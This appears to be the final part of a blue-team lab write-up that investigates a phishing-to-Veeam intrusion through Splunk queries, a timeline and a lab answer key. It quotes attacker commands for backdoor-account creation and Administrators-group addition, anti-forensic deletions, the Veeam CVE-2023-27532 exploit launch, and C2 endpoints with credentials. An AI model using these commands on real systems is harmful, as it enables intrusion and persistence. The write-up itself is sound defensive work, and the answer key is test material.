To test whether the dumped credentials were usable, I lined up the VeeamH4X execution against the logon events on VEEMSERVER.

Pasted image 20260807111447.png

index=main host="VEEMSERVER" source="XmlWinEventLog:Security"
earliest="01/28/2025:12:00:00" latest="01/28/2025:13:00:00"
EventCode IN(4624,4625,4720,4732,4728,4672)
IpAddress!="-"
| table _time EventCode TargetUserName SubjectUserName LogonType IpAddress
| sort 0 _time

Pasted image 20260807110756.png

The authentication sequence is more precise than “failed RDP, then successful RDP”:

12:10:12   4625  jchristensen    Logon Type 3   failed network logon
12:12:21   4625  MarMarCorp      Logon Type 3   failed network logon
12:12:28   4625  MarMarCorp      Logon Type 3   failed network logon
12:14:53   4624  Administrator   Logon Type 3   successful network logon
12:15:13   4624  Administrator   Logon Type 10  successful RDP logon

Pasted image 20260807112028.png

Pasted image 20260807112050.png

The failed attempt at 12:10:12 used the username jchristensen. A successful Administrator network logon followed at 12:14:53, then an actual RDP logon at 12:15:13. This timing is consistent with usable credentials after the Veeam exploit attempts, but the logs do not directly prove where the Administrator credential came from.

Backdoor accounts and administrator-group attempts

After the Administrator RDP logon, the operator opened a shell and issued account-creation and local-group commands.

index=main host="VEEMSERVER"
source="xmlwineventlog:microsoft-windows-sysmon/operational"
EventCode=1
earliest="01/28/2025:12:14:53" latest="01/28/2025:13:30:00"
| table _time User Image CommandLine ParentImage ParentCommandLine ProcessId
| sort 0 _time

Pasted image 20260807112613.png

The full account-creation sequence is on the record:

12:15:27   cmd.exe launched from explorer.exe  (interactive shell)
12:16:11   net user sql_backup Pass!@#21 /add
12:16:18   net localgroup Administrators sql_backup /add
12:16:24   net user sql_backup Passw0rd!!!@#21 /add          (account creation retried)
12:16:38   net localgroup Administrators sql_backup /add     (group addition retried)
12:16:47   net user admi1_2 P@ssw0rd!123 /add
12:16:55   net localgroup Administrators admi1_2 /dom
12:17:08   net localgroup admi1_2 /add

The command sequence shows clear intent to establish two backdoors. sql_backup was made to look like a service account, and its account-creation and Administrators-group commands were both retried. admi1_2 is the hidden backdoor name asked for by the lab. Security Event 4624 later records network logons for admi1_2 at 12:17:49 and 12:17:51, proving that account existed and could authenticate.

The evidence shown here does not prove that both accounts successfully joined Administrators. The admi1_2 group commands are malformed, and the current result set does not include a confirming Security 4732 event. The defensible finding is account creation plus attempted administrator-group membership, mapped to T1136.001 (Create Account) and attempted T1098 (Account Manipulation).

Cleanup

The last thing the operator did was try to erase the mess. Several cmd.exe commands targeted the staging directory:

del C:\Users\btorres\AppData\Local\Temp
del C:\Users\btorres\AppData\Local\Temp /F /Q
del C:\Users\btorres\AppData\Local\Temp\net6.0 /F /Q

Pasted image 20260807100220.png

Targeting %LocalAppData%\Temp, including the net6.0 directory that VeeamH4X ran from, reads as anti-forensic intent. However, these are command-attempt records only. del does not recursively remove directories, rm -rf is not native cmd.exe syntax, and kill 4168 is not proof that a process terminated. I found no file-deletion event here that would justify saying the cleanup succeeded.

Final incident timeline

This is the attack in order, not a pile of isolated hits. Where the telemetry does not prove a hand-off, the note says so instead of guessing. All times are 2025-01-28.

Time Evidence-backed event How it connects Link
08:48:31 DC01$ added Brandon Torres (btorres) to Domain Admins. This predates the phishing activity and establishes pre-existing privilege. The available event does not attribute the change to the attacker. Privilege source
09:38:23 Postfix accepted the phishing mail from [email protected], delivered to [email protected] (queue 4Yj0b3021kz61fV). Establishes the sender, the target, and the delivery method (link, not attachment). Mail correlation
11:31:38 Edge downloaded Albert_Resume.zip from http://18.199.152.73/Albert_Resume.zip (referrer index.html). Confirms the attacker web server and ties the download to the “Download CV” page. Delivery
11:31:40 WinRAR extracted Albert_Resume.lnk and 2.jpg. The archive delivered the shortcut payload and a decoy image. Delivery
11:31:49 Explorer launched the malicious cmd.exe from the shortcut. User execution started the payload chain. Execution
11:31:50–11:32:18 cmd → PowerShell downloaded ieuinit.inf, copied ie4uinit.exe into AppData, and launched it through WMI. The first COM attempt loaded scriptlet DLLs but made no network connection. The launcher’s first pass did not reach the network. Execution
11:34:38 Albert_Resume.lnk was deleted (Event 26). The launcher sequence then repeated. Explains why a second set of launcher processes appears around 11:35, without assigning intent to the deletion event alone. Delivery
11:35:25–11:35:26 The second ie4uinit.exe pass connected to 18.199.152.73:80. CAPI2 recorded the failed scriptlet fetch for vdfg4321nf with a malformed path. The retry reached the network, but the COM scriptlet load failed. COM scriptlet
11:36:04 PowerShell launched regsvr32 2056.dll. Sysmon Event 7 proves the unsigned DLL loaded. Establishes execution of the dropped DLL, but not successful COM registration. DLL drop
11:36:04 The regsvr32 process staged msxsl.exe, launched 46891.ocx, and ran schtasks /Create /TN "8766984F94DD" /XML ...B6371647863635.txt. Proves beacon launch and a scheduled-task creation attempt. No task-registration telemetry confirms that the task was created. Persistence & C2
11:36:07–11:39:06 46891.ocx made 1,421 TCP connections to 18.199.152.73:80. Direct Sysmon network evidence confirms the beacon’s C2 activity. Beacon
11:37:12 The beacon ran whoami. First observed host-discovery command from the beacon. Beacon commands
11:37:18 The beacon ran typeperf ... -si 180 -sc 1. Requests one Processor Queue Length sample after a 180-second interval. It does not prove continuous monitoring. Beacon commands
11:38:13 46891.ocx launched high-integrity Taskmgr.exe. Shows an elevation-looking branch, but no child or follow-on attacker activity proves successful privilege escalation through Task Manager. Privilege source
11:44:44 / 11:45:55 btorres logged on to DC01 via RDP (Type 10) from 10.10.6.72. Confirms privileged-account RDP to the DC. Because WS1 was 10.10.11.121, the available logs do not prove a direct WS1 → DC01 connection. Privilege source
11:50:17 First enumeration on DC01 (whoami, group discovery). Discovery on the domain controller. Discovery
11:51:03 / 11:53:22 46891.ocx → rundll32 → rundll32 on DC01. Trusted-binary abuse to launch the next stage. rundll32 abuse
11:52:04–11:52:56 The first rundll32 branch wrote Domain Admins to 6594.txt, trusted domains to 269716.txt, and attempted shadow-copy and backup-account commands. Records discovery plus privilege and persistence attempts. Their success is not established by the process events alone. Dumped output
11:58:48–12:02:54 The Python runtime was extracted. cardle.py was written and run repeatedly, failing each time. Records the Pyramid cradle stage and its failure. Python cradle
(from cardle.py) The decoded configuration contained C2 3.71.39.99:80/login/, credentials Clumbo:A6W1cS6zG6H, ChaCha20, and the Pyramid framework. Identifies the Python C2 framework and its configured endpoint. Pyramid & C2
12:04:37–12:14:33 VeeamH4X.zip was extracted. VeeamH4X.exe was repeatedly run against 10.10.11.63:9401 and 10.10.11.114:9401. Records repeated attempts against the Veeam backup service. Pivoting to Veeam
12:10:12 Network logon for jchristensen failed on VEEMSERVER. First named failed credential attempt in the Veeam-server authentication sequence. Logon check
12:11:15 cat ...\Temp\269716.txt. The operator read back the earlier dumped recon output. Dumped output
12:12:21 / 12:12:28 Network logons for MarMarCorp failed on VEEMSERVER. Additional credential attempts after the Veeam exploit launches. Logon check
12:14:53 Administrator network logon (Type 3) succeeded on VEEMSERVER. Shows that a usable privileged credential was obtained. The timing is consistent with the Veeam attempts, but the logs do not prove its source. Logon check
12:15:13 Administrator RDP logon (Type 10) succeeded on VEEMSERVER. Confirms interactive privileged access to the backup server. Logon check
12:15:27–12:17:08 The operator created or retried sql_backup and admi1_2, then issued Administrators-group commands. Proves backdoor-account creation and administrator-group attempts, not confirmed membership for both accounts. Backdoor accounts
12:17:49 / 12:17:51 Security 4624 recorded network logons for admi1_2. Confirms that the backdoor account existed and could authenticate. Backdoor accounts
12:18:32–12:22:22 Commands targeted %LocalAppData%\Temp, net6.0, and PID 4168 for removal or termination. Shows cleanup attempts. No deletion or termination telemetry proves that they succeeded. Cleanup

Lab answers and supporting evidence

The table is an index back into the investigation, not a replacement for it. Each link returns to the query and reasoning that established the answer.

# Question Answer Where it was proven
Q1 Compromised IT employee’s email [email protected] Mail correlation
Q2 Attacker’s sender address [email protected] Mail correlation
Q3 SHA256 of the shortcut (.lnk) BD9F7ADCF2F63F7EFBA32E613DA8A86CB1732B88D10A4536AA576FCF90101BD0 Delivery
Q4 IP the script connected to 18.199.152.73 Delivery / COM scriptlet
Q5 Malicious COM scriptlet filename vdfg4321nf COM scriptlet
Q6 Dropped DLL 2056.dll DLL drop
Q7 Scheduled task name 8766984F94DD Scheduled task
Q8 Trusted MS binary abused for C2 msxsl.exe Staged LOLBin
Q9 C2 beacon file 46891.ocx Beacon
Q10 Seconds tracking Processor Queue Length 180 Beacon commands
Q11 Filename of the dumped domain-admin output 6594.txt Dumped output
Q12 Windows process abused to spawn beacons rundll32.exe rundll32 abuse
Q13 Failed Python C2 script cardle.py Python cradle
Q14 Python C2 framework Pyramid Pyramid & C2
Q15 C2 IP and port 3.71.39.99:80 Pyramid & C2
Q16 ZIP archive dropped VeeamH4X.zip Pivoting to Veeam
Q17 Command that launched the exploit VeeamH4X.exe net.tcp://10.10.11.63:9401/ Veeam launch
Q18 Veeam CVE CVE-2023-27532 The vulnerability
Q19 Username in the failed RDP attempt jchristensen Logon check
Q20 Hidden backdoor account added to Administrators admi1_2 Backdoor accounts (creation and use confirmed, administrator-group addition attempted)